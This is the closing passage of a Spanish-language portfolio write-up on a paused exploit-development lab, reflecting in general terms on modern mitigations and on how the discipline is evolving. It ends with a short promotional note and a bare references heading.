El laboratorio se retomará. Mientras tanto, este documento queda como testimonio de que el exploit development no se aprende en tutoriales de fin de semana: se construye con horas de lectura de arquitectura de kernel, con intentos fallidos de replicar exploits ajenos, con frustración al descubrir que el sandbox te bloquea, y con la satisfacción de que —incluso sin haber llegado a la meta— el camino recorrido ya te hace un profesional más competente que cuando empezaste.

Reflexión Final

El exploit development moderno exige más que nunca: mitigaciones como kCFG, shadow stacks, MTE y compiladores memory-safe están cerrando las vías tradicionales. Pero vastas cantidades de software permanecen sin hardening: enterprise apps, IoT, sistemas embebidos, drivers legacy, servicios que nadie va a reescribir en Rust. La disciplina no está muriendo: está evolucionando hacia exploits compuestos (fuga + ROP + bypass de sandbox), data-oriented exploitation (corrupción de estado sin secuestro de flujo), y combinaciones de vulnerabilidades de alto y bajo nivel. El laboratorio se congela aquí, pero la capacidad de retomarlo —y de aplicar lo aprendido— queda intacta.

/¿Te interesa el exploit development aplicado a entornos reales?

Este laboratorio comparte fundamentos con otras áreas del portafolio. La misma metodología de reversing y análisis de memoria se aplica en auditorías de seguridad, análisis de malware y explotación de infraestructura crítica.

12. Referencias